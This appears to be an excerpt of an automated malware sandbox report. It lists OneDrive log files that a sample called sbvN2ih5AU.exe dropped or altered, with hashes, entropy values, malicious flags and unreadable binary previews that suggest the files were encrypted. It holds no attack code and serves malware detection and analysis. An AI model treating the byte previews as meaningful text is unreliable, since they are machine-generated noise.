Preview:	EBFGO.l..I[.(`{4............../...d.>.%..s...u.d..V...XY...}$...b9o.. J\.TGF.^....V9.8.8.#Q.-`...z.!..Vj....0P...-Z.^..G?..A.J../-g..^O......n...y..).cF..{/.8.b..e.+h.i......,\|...`.B..._(l.....{].kw..+PM..\|.......t.u..u..S.le0..-@.#..\|.#2.~..j.~.T..H...Q.5q..di7.P...>..7`........s..VB.\.^...3........J..@.g.C.J^=s....@H...........W...0...K-....i....Gf.oz...@...#..+.~....lf+..O........f.../&..8c.....5Fi....T.H.e...7.......P.{..R\|Ty......@D....A.;oF.oI..7sj...../.....:.l^r{[....z..._H.t.}....C.$..G7....\w..C..<d.....q.X.F,.7..Xg.{..s L.Ja.I#..1/.0.H.L..$6.e....b..Ds..F..b;.i}....Y.J.k...5.4[...w...........:.4.....<..G.3z.....p.E...s..M..9Ix..c..Qh...?>\.0KR..Y....2.y...-...;v~..Q.\.I:J...#.=...z...`. ..EQB....J..C.I.'..r......qi#...x.AR..H...O...f^..U....I......;.[h.....k\|........5.)..Z....W_S+...Hj.J>..G..u@:I.Vy...i.n..j@<.....\..(....?.?f~.[...k...........u......F..n.w}(.I1&.C.*...8......z.....+...D..E.U.SU.A.}.X.$3......5....F.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.aodl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0135515828933677
Encrypted:	false
SSDEEP:	96:2n7NICZvyj69RMKF0IOQKnxQAjCaiSA6dViUMIIb4bBF3t8JI86gKrpn:65ICw6zjSPQKVmadv9rfBF3YI86gKr
MD5:	1ED9EC7D2021BA79056AF6A65202923A
SHA1:	62746470AD3CB95DED1A247F182F21607E36E272
SHA-256:	F7C230ABC46671987A7E0A4DBB754CC59BCD50EBE7A5305FFB848B3BE30086A8
SHA-512:	A2833E53F24A6D06FEAB13B40C920620416025528FD7B0E3F0130FEA918FE9C2D0AB1051625D22BC5EDB9F0A00DB56DCC60EF7A152DDF02E40ED163CC6480FAF
Malicious:	false
Preview:	EBFGO..7..8..>I.....b.L...l..:.......A.{\.....^}..a..eQ.9..l..U...:Y.._ES......o.kW2.Up.2..:,...m...X.$.u..d....gnP...J.]....>..3..M.........L...E`...]g..r..,..>.&.o\|\|..y.m.9seF"....UP..G`...}....`...FY..OZ.wz...i..l{..........k1h..f}.....k.....MUR\|.G....5..g.... ow.#..Xm.Y....L)o..K.B..z..v7.j.K.7......W.a.HKnaJc...8.a..4.o,.U-.....K._?[\.....c.......I6.....^.Zzt`...f..e./_...{....8.....pm..:..k03..`...8.G...b.q.Sw...`c..-..BE-Q..r..M...9.z...../.....ZG#.......%.Y.....2..Z.......'..6dI1...T."1.b.I.x+...PMg....gN.$s.......Y.iSP.k.;..w..>.s.?.9C....r.I..y..e.Q..A.W..#3...q....".n..&`."h5yVm.A.LtJ.?T...!..d...l..........T........WV<..L...Jmk..........[....'.s.tRc\|;26.>(,.O...8,^.....b9`.zK.......v..I......@...f....Z2.[....$..._v{{.V...P.. >..\|WX.....P.....W...\^ C.8p......\|......0....!...!.?..O2..5.^.V.....fS.._..6p,...O..\..*g../.T.1S.>.T+.......r(.x1e.....J..lL...}.M.Ok......f. .YJ..f."...Q....L8C.0.36..f.(..AN.w.c?..v!.D\|A....q^I..v...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.2056351935748625
Encrypted:	false
SSDEEP:	24:5Myi0tauNu5PPPY7ChzUmJtaeEn9e2bz:RnauNuR3n4mJtk9Fz
MD5:	0E6C2EA7A9E108F9669F6CA2E37F689D
SHA1:	A71FC17D48F55A1C2BD9314D916D39B9EBC3EDC2
SHA-256:	E0541CBF8D20F9C7D8774FB453E83CCD83E7D781F122A297BD52D17A328816A7
SHA-512:	A18662987EAD68D4D7A03A6B3C45C0A953FA6F5DD9615E945529EA4E17271A6583AD1A3A80B147AD1DECDC1DFA104AAD64FA0BFF537EAFAA9B3C0C297E6B1EDD
Malicious:	false
Preview:	EBFGO/.~T.T.........M..b....y..hJ>..~...pi.H...v.!L....K..8v......@'..`..AW...]......m.......iy.....=0..G'.f..V..................[.P@.Er...?..B.7..RR>...$..8.X..(...\.e.........E&...l.....Q.A..:i....pU..Nr\K{.....`M.....OGm.iI....)...........Y...L.QLSc9m......._...u..x.....0.-..r...1.....vQ...O. ......W........W.Y..Ma...B......w.#w.1.A......f.=...'}..$....Kv..h..0..w{xl..9.a.u13....rb...q...._#........(......x.A.g^......4.......P-..tr\|...!.. w.^..........:+.>.d..a..a4..+ThPN..Q..w....W..@.m.,a.I.a.9..$6-.N.S....[$j.egE5LuP.\|..i.i$&.....8L.:....x.05....4\../....'..O^.e@oh.. 8.G"VF........{y].b#.\|q..g.Eu..I.D..k.J.3..Y.U..._. ...q...*.ia..U.....%..Ol@...c.5\$.Y.Q:.Q..t.K...\.F...yD.(`y"....S......t.0.$a}...:Y.........IE....uG...Y$...W.m`... ...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.aodl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.689740167480636
Encrypted:	false
SSDEEP:	768:kkl74Q3EBrlYfWsbKl4JTGSXqmoVvuLHQnkm:V4Q3RWsbKSABpVv
MD5:	F5AC8B729CC04D9650FB123915098E6A
SHA1:	68DB700B219F217942EFA632F0FD06D4822DF8EC
SHA-256:	2BA40CE85F3E7207F489BF55407F181D11F490128E43D19FBB63C73B5A70F5CB
SHA-512:	6FD2F652737CCA8CA620C8136F6B9100981D360AD8C10E789B5ADD479B292E6887BC8B0B1295CF1388B47DECFD184239F9070E25005F9891D9F75F805F62DD64
Malicious:	false
Preview:	EBFGO......V#..u..........."zK... ..Y.:$@0..'u...~...r.......35.L..."....O.Y..j....[....p.9u;......p...H\.Z...a..}Otv..^.tI..=.D..h.i....7..?...ff.z .I.._..a...Ei..#...H%..NJ.U4...........t.?L.O....[.%..(..^...xY.....)A..Rk...L..{}=.4.....Bj.....>>0.D...N.M.['.c.,.>l)...-."...`9.+.D.14.g..w.<......B..T\|....T......K.1..\|......H.m%..z....Luw#9.k,..s.F.vo..q.D...i.\...G.!..:c.;.89K3...t!L.&0p.....x0..;....p.'..g.V<.$muM....y..C..D.wF..CR%.T..t]jf.aBn...c..I.u.MQf....6=...K..M....B....8]..I.p..3..+6..${..-..5,...i.....z....K...oI.\M.s.,..^..B\....}.....A$.M....MD....;.,.=...I..V.x1U.B.'.-..j9o%..xi.f......5..._...0...l.>....7......D.....dl@...e.....8H.'.........Q...Qhn.Z.....B...J.Um(H..u...`\x+.#V. ..K@.5.i..C...zM..ow.'M.}gu. ....n..(l.$9?..... V.......&f......9........I0y...dR..;o\.K.dev;...o...r.:.{4GPX...........h6..H.\.i.G..T...=.....7....\|].$...........IR.Y...?:...........K....T.B.....9..T....&.........2.2!....*...zkFZ..1.r..%.,5.7....B

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.27056084066406894
Encrypted:	false
SSDEEP:	24:IsKA0PMlTebgN1xxeNQjVNVjtA8zeb4RJHN3BM2bz:IsK3MlTZNnxeNM5A0tHN39z
MD5:	224989812E9BD7FCB47157FF45557AF7
SHA1:	6156389A997BC1BF72F5D009358C6EBBE885C1DF
SHA-256:	AF1C6B2A2244E0BC5057FC193899F675786BE99B9EF0D32D37BCFDC648667D6D
SHA-512:	9C4AABB1236492D983B6FD0DF261249B459209F0CE907BEE5D75F91CB1191510B8B328A7011E4D6CD009B53C28FCAAC31B5A896FAE4F5953A12A33B60DC70821
Malicious:	false
Preview:	EBFGO.m...O..+.{UV.R.mn.r./..J..wJ....A7.... HT.W{.O..<Q..)...c...d.N.Y3v..+..9.A.U%..9.>.....G.w..1%I.@.1..o.g.p.mt...)a...7..>..7.+..$).4..N........Q.....a.....(T.....d=.....O.z..l...u2R=..:9N.....Zy...RZW...m....d...m.y....k...>....=.(./...;o\.Y..#.{...c..h..u.....F.YM.^._...t...!/.n.S......0..]............b$.I.M@.1z.}.L.m..J..@.V\H#.hO...]...U.......:73...-z.y...#.9P.=B2.6....]..,+..7)...U,....<D.>...1....Y#).W..#f..>.pan.N...<.G.N.........k..O....a.X.{......._i.RM..Ma...J.".+.4Z....?9.........\....._.G..w.o........]......[....u...\X^.`..v..{I.;........JU2...L....].....f.y........3..D.i).."..\8.Mm(9...~EZy....B.t\|..h3...v...)...U.K.W......BL.3,iAa...)..m......w....[@o...`..?..G.&k..;e..~....;..'...xA[..4y...... Vq)n _..M......=..;.8..........9....[0...s\.v.C....d.3.-f..-..9..C...}..B.P.'.......H<sA...#.h.M...9.\..[.X.t.\|...(.....}$...;...u.u.z63...]..U... jY.N..xM....\..Q.....3$..@.@r...-\.JN..xN.v....t"v{.@.T'..cp.,u.b.. .E..L8

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_114938_158-b2c.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.911077559115702
Encrypted:	false
SSDEEP:	3072:cmK5AprQ2sVU2xUyUwiVTVzfrBLKDDadNfny83Y2nRJ6:Tvf4UyUx1frBuDDOnAMRA
MD5:	1C145E969E7DB92A8D0E6A68FCF795D4
SHA1:	93091CC478992B85C9E21012200CEA0A9AD3B984
SHA-256:	03C7FBF5A7CCB8786E5B3E7262FC4975D2C99489C013AC3202C4F63DECD5F6FF
SHA-512:	EE533C5F300216B2B70B4458CF3F9722ABA3205D2E0EDEA66702D0502CF7A8D9C948415F67FCB360D144F64EBA437D4E98C7A5299ED2E63E68D303776D454D9B
Malicious:	false
Preview:	1.0./s.\|.k..-.>.....;V..Q0#.tp.....>.gH....s..J.......K.ic..#W./.(.7..x..;.C....F .R.c.g{v..p<.W....9w..0U...&#...........m..A...t1..3\...z+..ss.a.G./. y......7Ty........v2.t......C"_.a.J...d.K..@.......9.....r.=....b..0}>V..%../...T..".cH2@...L.....v_.....8..e..~.a$......Ec...&&.r-H....)".O..1.I ..Ii........pH..O.#.=a[.<."...U<.N .Cq...."\.mpLM..../..+...5..^.............V,...J.....r.....o..._..'....i..'}H.x..a+2..6...M~P8M_.2JV..-..%'..8.1v.s.:l..{M..!.i./b........f..u.......3....'Sa.......X.q..g.....r..z.5....r..,v5..z..Hj.`..I..e.Y8b.Z.8;..q.vo:..tt.C.Aq..R.I.F...c.N..S?^y.A+2.....(}....\|N.u......P...0..TK.5.R..n....`.'.....U!.......$.p..g9......4..<....p...\;..U..B...O.............DPO.VH.<.?....v.S.T...d...#j....)[1....)..`..'G~.0.}..b.Y2?..........@...\..Q. V..W".r }x..\|...?...\..+>.V.e....+O.G.\-.;.~:...B..&.....}...nI..O....+6`...G.5...b9..^..e,...7'.F..h..~..uR....=t6U..<.YE..........[..A.......N.....-_...@...g.wS@v...n.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_115005_9064-2616.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.796393813457409
Encrypted:	false
SSDEEP:	3072:PYnW3U9resfzeswLFRTEFYHevTr4ZvUNhpiUuTwjOtKLB1Ha2tN:P3iejLkOHe36vifBjO0LBU
MD5:	BEF7878F6C195EAF308DE76DCD9D24D2
SHA1:	7977BA9B544F4D2BA97CA9D389BA93CC384469EE
SHA-256:	D5F386547CF355CB206F5D4749A6E00672652674583D213AB80FAE9961B65D2E
SHA-512:	9EECB605AB9141BD8C48DCEDD4B9C01C17F6B93C829E2F194652F9B7CBF0027D83D35BFA653ACC8AD4EDA189C68AEF288D3440F2A0CB747ADA224C43516E99D9
Malicious:	false
Preview:	1.0./.W......zk....$-1......G.V...q.]..J`..2`......QXY...&ZH.Bx.Nq7..............>>#.zkqZ.....R.0cE8.......8.v..Sj.g........$<J.).i./?A5.;tI.....k......;z...C.K..H.i... .....zU..A.....&`.j.e=G..[....I..tp.]8......\=B..J...[..\..$.....s.c?.la.(...p...f.y.....R....hD.[..$.....b.-..I^...V.U..VQF..53M$kNFb..3\|C.T...}.M.......8c._8...MN.P9=...kq......v...gD....P.KE.\|7....#......NE.k"RB...+.]v.LY...._.Z....zN$.I.g>G...e~Z7.y#...8.l,.:..7..C.!.?9........"}.]...{..~.t...z..A.&.w./.....Y.i7...b..).$..@...o..c."JH..\|....>..h.b...Sq.....!..b.g+;..L..;.znvg_. ...`.V.......H.#.....I....B.f"t.D..;.m..@....%...#..dC....A....0.........4..5.....'.......$N.7......q{mE...E..v......PI...+..^....3R../v4..9.......Q.s+..6...A.n....s..!..Pd...b.;./O.B.:\|.,......R.s...`t./.QU.QB`.8,?....qL3s'.._..a$.=....OzX.w:..BJz...[9....n.~Z....'.@.nHeS..Z2.....x..P....p.......E....j..C......2....l8.Y;....Gb.8.G.).8.X..5...,y.Ix...w-Y...KE.....#.......$.USQ.yD.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-04_093243_16a0-1d8c.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.648579697315622
Encrypted:	false
SSDEEP:	3072:UwOYL5M8QC1Cc5Sg62GSoHBqDuQAh2CVrP2gi:UwOYL5sCBkzCohqQ2CZP
MD5:	965728A5487389F1E26D5E05940251FF
SHA1:	3B4ECFD5C51CB96157C84DCFACEB9A75AD3A53AE
SHA-256:	3457A053D61028364E88496C7C8B39E3B67F3CA608A3BA70EE4DC08F1418960F
SHA-512:	9C1DD7532A0625A67952C6C610D84B118395613D5087AD02724B2BCA804F397775DED93A41858B5A6DFF4531E106AB08691039C3163F8390905B75E93D10AD3D
Malicious:	false
Preview:	1.0./.`<..=\...CR..eQ>.(.b...?~..f;...d.\....^..X<..!.y..('. {..gnsc.'...D)....h].&.pr.u.....d......8\|2.ET.g,v.t..b...,.....?.ap.........k$...Ys7...DEb.......2B"........&.6.9gjD.....I.E..,.L(...j....a..n[E)..-..........Ne..r...o....I.....\|Y..m,...D.A.\|.-..Z.EzK@DJ..8]....'.T.M......8y..n.............~...-f.....5.X..U\._.#.{3/..qG.....S..z.9...1.B-M.R...%^....-K.Y....<....%9!.@...-.,K+".&P.u/3..y!Nf.q=... ..2Z.$E.j&P...^.v.H .5..~}`>e..X...#...Pj_@c....'oQ..p.....N\Z[\..u...,...{....c.X...C4J_...s..&f.kl@...r:s.&..m..t...g[.P4.6...V.E..H..>0...n...'..U:.]1...Ri5.e.7...<)..F...S+B9i.+.y..d-..$......!...XLZ./s...c..U....G.Xq.u....N......Q...E.1.>.".\|QB.0DBE.7.R....u..c7..t.....y.4.0E.$M.uS.4.@t.....5..t0..u.....J.e1.....B....$..D..wU+.U...{.].$...}.......Z.3.f. 7..T.oj..L...T.......Vc......T'..8C.$.+..2(..q..r.8....;uj :..:...h.l....x..zj.*.1.M(......$...t..c...P....._.`.3...8...uTp ..S...._(wWkC......"...g.....,..!:..S...z.3..>..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	30630
Entropy (8bit):	7.994262491474352
Encrypted:	true
SSDEEP:	384:iBPndVEH3CgO2xyxs/bbSTaK1MTns+gqqDi77OSwk/QyYA66iyA6o71:o1i5O2UAb2aWydgRy7OSwk/Y6i5
MD5:	38CA91532261BC12E63707B8F6824507
SHA1:	4BB6BAB075D6AAF23BC299894CB44DCBA902752C
SHA-256:	9CED2319FC6BF8FF33EDB83592C67A50A1DD2ADF54E555609E89B996029928AE
SHA-512:	1C4200632B3CB439CE37918A0A743F98445ABAEEE97F0EAD212DB99278DE7073B76EEBA306C040FD19E996B2206D57E8755B66CD06444F85BC301ACC06F2EFA0
Malicious:	true
Preview:	1.0./...........:.%q..6..e......9(=..(2.Q..z..M.t.........HG.YJo. .....b.Qa.<U6\-.^b".c.~....f...\..<\|xp.{,....%{.....;....)..,.&.k......Q.K\|...mO.3...._ r'...1./...S..p-..o.R...._H...:.Y..a/...r..........QIM...4i.kB...G2.....^....w.......i..ip....G.C.........x..H.B..@.........1,.N..W.Z.2zp_C.......\.U..Pip.l.V5.......I..t}.".........B;J..W.N.]n...c..6B......i.h..^.@.;....b.7$W~..M...0.~....Mx........@zC.t....J...yb..........Lp.fq,}.~......T......p.F..4N.GiK...o/...US.h.d.Wp[.)...}..f^(.......m~.+2....L.U....1.G.L..&....{.]!.S.[}..H.!9.a...6.........1..%.j6+..I..R...1.K..q.../@.2.a6..._.+.8...;/..&.]..VL..2.C..E~x...m..,H..t...O+.2.n.N].eK&....Cn.E .6...j(....4.T .......9W.M6X..~mhl...E...^..KWP.". *.S..4....N.....4\.....?...Co..Y.U...u..t...H.\|..>.}...G._..C+.#.z8..._.{......U...@......b..B[X.?#`97(~S.....1....cH....$....'.A.......2.0.P...,...;d..U.8c.........z....[..iv(..(v.....Z...n..p^.....w.d..E..^{..?"aD>...\..8.\|m..Ou......'....C.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_115005_4240-5892.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.498732479211025
Encrypted:	false
SSDEEP:	768:P/BwQeBi4aJInXTcoffohHOoi+rHv9qc:XBwQX7JInXTcQfohHOcYc
MD5:	B7150D388D0F0040F753D17EC80EC1EE
SHA1:	5B4E90BEE7707261D4FC55824C1045EF16BADC65
SHA-256:	627C0D545F2B9DD81141594CE826DAFC1AEE51D53176D4B529EB67A5B00DFEB4
SHA-512:	5086EAC69634E3D7AA9A32CEB8E54448EACCFCE215B90ACF0F6D34C03054C41C92A2817E6AFD67C531041E2C031EBBA5F8065BBC55B8266D866ACC546DC44A2C
Malicious:	false
Preview:	1.0./....f:.............J..q_F.Y.'.[+n.8.....Wr<...n...>T&..G......?.0:T..l.-.Fg....'.J...[..^zL.S.#.'f.nI`.&L...-_.i.#.'..Z..b...9..Ap.J...RW.V\....F..a...<.}.@:.....f.....!8q1.1.?Q.(..c..V.L].G1V..mH...=.C..%.C.+..j.Bw..N0.7w.jJz..d.r...d.........R.0:\|S.p.^Q).......!.z...S.t...im]....H@....f..y..K....\J.f...v ).".r.Y.xe.._T:.e.H..Ng....$9.d\|.-.U..E..P....4......Y..z..Nc... ..oE.......-..g....z..V>p4...n.8d......!.`./.x(VC.q....g..\..hx....,..L.=.O..K=]..=.`+...' g......h.m.>D.>....,...o.gpQ.u...w.-.~.wj..8...m.i.+/.}...]0^i1@..U~!. .J..P0..r.....r....{....Uj...j..i.,...t..,[.0..s....<t..U.i...qN1aZ.*;i.....>.Y.......%..8..>8Ris@.T......8........=......-o...J...M......K...........B.5]J....v.n4...........a.,.qmp\...H!gS..k......^i.Y....Y.S....u.c..-5`8ha[...m@...qh.hPs/.....,h.......X4`.v...n~\m..+.v.....w.O........4B.L3.#p..w.?....2..Bt>.....6d...p...&A..\|I...fz.[..x.`9...=...M..i&...m.x#.^.r..7.......Y...p...7#.:...V....

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-04_093243_14f4-1074.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.629797477779789
Encrypted:	false
SSDEEP:	3072:CQREdK6pVuPpNZklhRHxg8ksGwORN0h5:CQ5KuPp4l3xg/Xls
MD5:	D5D4D066E100CE226123B63CE50821F1
SHA1:	9153790507C595216EB97CCB7C3AE71AA8F9140A
SHA-256:	2FD1413178A089CA82F820837E2439C2F60D66D9FC92E107D0B92D8DCBDCB42E
SHA-512:	ED513EA405FB792ED158FA263F29D1AF3C0C285B78C426C488C33B8D8FDB7201D25C63135F7B476428AA639591F7F5E8E5073A8D1EF2FFCF80122A9F9A46DAD8
Malicious:	false
Preview:	1.0./....r?.z.z.c....wj......b.....:\..>..$<..5........p..B.=.rH2.d....bW.S&.......{I1uA......,D...%..$....#....=....s....Yls^w...kd[..pH..w1.......b.p..E^:=.... .l.gR...c.[.!u#..Z...%&......Q..&5..>iJ.Y5.(..o.Q&.q.....h...!....2%...4k.Y..g1J.^d....v...~....2.E....I0...%.R1w.0}'.N.FJ..2/.E...1G.ubN....c..pF.L.tb./S/......l..>.T...`Wa............A4n....Z..7`...Aq.B...h....1.....Vq......`E."fo...S...CX%4v.........,.c-Z.e.KTq..:.~.]...u...LR.R.ttD.k..5t.o.Y..tN........;(p.`...@.v<z.+....F....H3..... Nk..vFP.mm..........c8..L.....k...}.y..//..L.....).G.....U.."....9.A....L.o..r..(?......h..tC\|m......=i.S_M-.C.-~.Vv..1\|.i.#....`.i......+....\|2..6..9<........,w..K....{.9........x.(u.=.G.?d.,..}.....j@w4........P...Cy..t;O=.....>4"..............u.V.o..~.....o/t..x...<Vw.A;dq.#....10..w..1....!...;.....D._,..L`.b..a.x....(.."..g.N......7m.......L.G.w,..VP.....A.0.......p.q3..~z.8H..W....\|8e....`!..mL....-;.za~...&q+'........r.GQ.....j......

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\StandaloneUpdate_2023-10-04_084137_4224-6092.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1010761558417594
Encrypted:	false
SSDEEP:	192:R1u/mUA5uQGhB7d4VXxAzEXYkNR+V4qmK59NQ8k5c+ODQqJCeM4t1qw9A/0F6:rjuNhB7OhxZz/+iqZS57O8ZexXTW/0
MD5:	C34518EB48E180B8B4B64E5074D61976
SHA1:	FA57D457C0D3541CAD107EC9C6A770948A7A6CB9
SHA-256:	323D2FB49B6EF4928E38DC8E4220123B958EA95D3F4E9E2BF9B5728411195E14
SHA-512:	B34244498B330CA6D0A687B2613F7514B0C988D3411B6FE821A7F0B029EA71C16F44FC2895A7981BA6BEA5C383F6808C813852EB2A003E6EF035E9975FC763FB
Malicious:	false
Preview:	1.0./...G@@b....@...E"..PQ.......jz8......^\..4...]..._.y..;U.. lh.C.WD<.r.....S......y.1.0..S.H3....f..VC.......y.dM5)...A...L._..t,r.n...Z(ns....J...Y....[..3...;.8N.de.....b.....Y...e...j.....^U.W.g..)...\|v..`,k$......m.!h.........LJG.G.H...,I..vP.........!U..yX.#HM.=...n.P......e.C..).I....../X"..g2.;....).6..../J.b.~.......q8.\..}.Qt%#...r...2..H.5N.N.O)...7....K.!....Ol..b$..S.7.!......h.\|.I\|..RhH.AZ.,..F..'vA.....K.Q..I..D..$..<r3...........A.....$..I.Oz...Z......X..M.......6.....oD.3..mh..S2G..#..7....s-..k...a.E.af.@?.i..3.Z.}.H.....<8o?7+...c]]......I.....}.[.c....m.....`a..7....4.8E..=1.....\Z.<.....Z...i..S...s.A..#..+.boe....z..P..Lb.:.6$Mr.{.....[%..l.J}...)..H0p%R.~$.KZ.[..7...'....J...$=..^.4&C..R...t..._...yy....d..;......~.q"........'6.i...&......a{.R.r.W..&.>...=...q......Pv.Y.....1.......?....AB....n..:h.m._..V.M$.qw..x.><.g[.. I.GD?s.3.%~....P%..!.>..4.).._.$.-....q..{.j,R\|D..k\|..V.K..6.U.#....R..-..".I...J.I..".

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.aodl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9659212925610935
Encrypted:	false
SSDEEP:	96:smkLO0/Q5iBV5HA68oNjVm4FgzuLccve957TUqJTVrDYd33IHmX9:s7L1SwVNJ9FhccveT8WT1DO331
MD5:	43D781960C0DCD0E2CAD0B8B36296614
SHA1:	D78BDECDD0FC97912FA554183BB668FE7AEC331C
SHA-256:	A80EB0EFDB9D227E5BFA5EF51F1DCE2F700298390D6684A7292B402C56ECAF9D
SHA-512:	EFC7DB9EF4A67F2248C0DC6B366CC20B71366DA1A023EABAE72128497EA70A4C0B0E19A9A95B4A679544245BE9624D775C5F55BC4598F6FBFB1D6008D42F845C
Malicious:	false
Preview:	EBFGON^.N..Z.,...x.r..s.c..ZTW...b....L... X.\NX..V_.c.."F..%..).e....c...R.v..:.].u.l.j..x......z..YZ.z.4....8 .....jg.}5%.......i...`.....N......h....{.m......P.....R}7.J.d..k.2..P6...W%..i...y..").=...].uT... .....n..Q.......K.....z.....43?....E.........G..p...^.k..C0.]....).N.c...2....Z...6:..V#5%X.dh%.&d......1.52b..-.L3.Sf....UG.cQ{..(.d....A.Owg.....m.\|.j<..IUyz`i0?.............f......T...uI.e...p....{....\|...Vh....>P.ykd^.vY'..z>.q..=.O...6...[.\Z.X...s).pKH.B.....)l#k.}..l...\JS.f.T.w...z%.}...x.n....;9.@...oUp.O..{4.....<..A7..0.]Hq.6?.O.\|...<..b.`..cdrm/.<....n^...._Vo['....,...9.[hk7..j.5).:@cg.X.+..e..._3..[9..v...7...v./............\./Qid0....fi..!.......[.r2.Q......U....S.<D.V.]<.G....i.F..Mw.3.E. E....cv.K.-.!..^..?."..$..k.{....4.%.....{.V .L.....U....s.u...!9;_...h..~.1..2w=!..'..C.oX.....nFe.KI..8z.{...9..wC....ZD........=.LN.....n.S.`!.2..Tv......p..o@~..,<Z&,.HuR..L..a.e.."?.a..[....b0..g&+.F/.....KN.p s...iF!k#...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5589294937758158
Encrypted:	false
SSDEEP:	192:a7dqebv/nzGud5Cipb245QnP5uUDTn53vrGZj3pD2b6e1LU:nIDG6uL4iNm5CWexU
MD5:	79E2DC12BFA26C70D948A046A74A1BF3
SHA1:	82C55374D5FD17A5016CBD2BB17B0DA1E365FAAC
SHA-256:	7183B6C70FBCE55A5244B52B8FC7C14155934190EAB296825E58BA7653252B94
SHA-512:	9946A8659737054424C2309F3DA06E13E28AE7B05184012D833B98070E2C7B10ED297E18629E1BE466F9385DE30FCA12FA239A30CDB65699B21A5926E7015C41
Malicious:	false
Preview:	EBFGO..7...f..!28.I.\|...4...J...].-..7..}G..%.4.n.L.E.o....C.67....P...Z............9A.1...;P.Mo...l%..}.....~..R....."H..ud+_.l.;.:..hTH.M..j.4.SrG.U_.}.`gs[.....k....].+.;A.gu..C!.K5...).r...hCo..u..N.Q....J:.l$.?T%zi..N,.7....O.N.....'..[...P/~qr.h:.......Z.e...%.)H....A.e.WyuH#!..L._..ce...Z...c5..Y......\|.A.-=..-i......}.#.U..l..:... ......B.p.?h....3...d.Q.i.5#..I1...L.A.3....C..;6~V.f./.n4/R.....K......Huqd@.b.@......gh..N(.bt....l..iM.....AI.{:k...u..."6.Pja..9n...7.1.E.k...st...../...=+.j.h$....:.n..;.q.nv_..R.c.Y..`.j^..y..%X@y7..AZ..a.......^....?9<........d.....C&V...DDfo.x..C..S....u..k..%...dO..68....:\|.G.8..;.+....)....hE..t.......P.W7.1..(J...c&..W.Fbhw!(j.}.B...V.....h..f0y......%.V.W...U..I.^.(....l.$.~..........'@.l.~Pc...)..U.=.2K..Y.s.s .4m.K..=..7hK.l.._..x_...-..&.@....OW.D7...0..w`'.?)'.P._...[..Azm.`\H.+........_@...mk.N$....V.. f.....r..K..=.........))........B..C....3u{O....p....>..%....w.o:...'. ..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.aodl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8660918058664119
Encrypted:	false
SSDEEP:	96:2lzcMGYsAJ2iAUMgH3v3VF1zR97a5TNdrmciTUVdNb:2l9sziPnc5TN/yUDN
MD5:	8372562BA8F63921BC2981C6AB89C420
SHA1:	72958543F05E0FA37D99FE666AB4C15CCF895E04
SHA-256:	A04C15F08C75069DBB0C51FB84042638E774B8E41CE57065AE4127026B324684
SHA-512:	DF763CE8F27E05F2008C1BDAF325F6A3B074BE4CC4FE09E8DF5E80872A7F390E8454582412F26F0E20B28B215E4094FD6ED27E706FB38468FE65EB1F657737FC
Malicious:	false
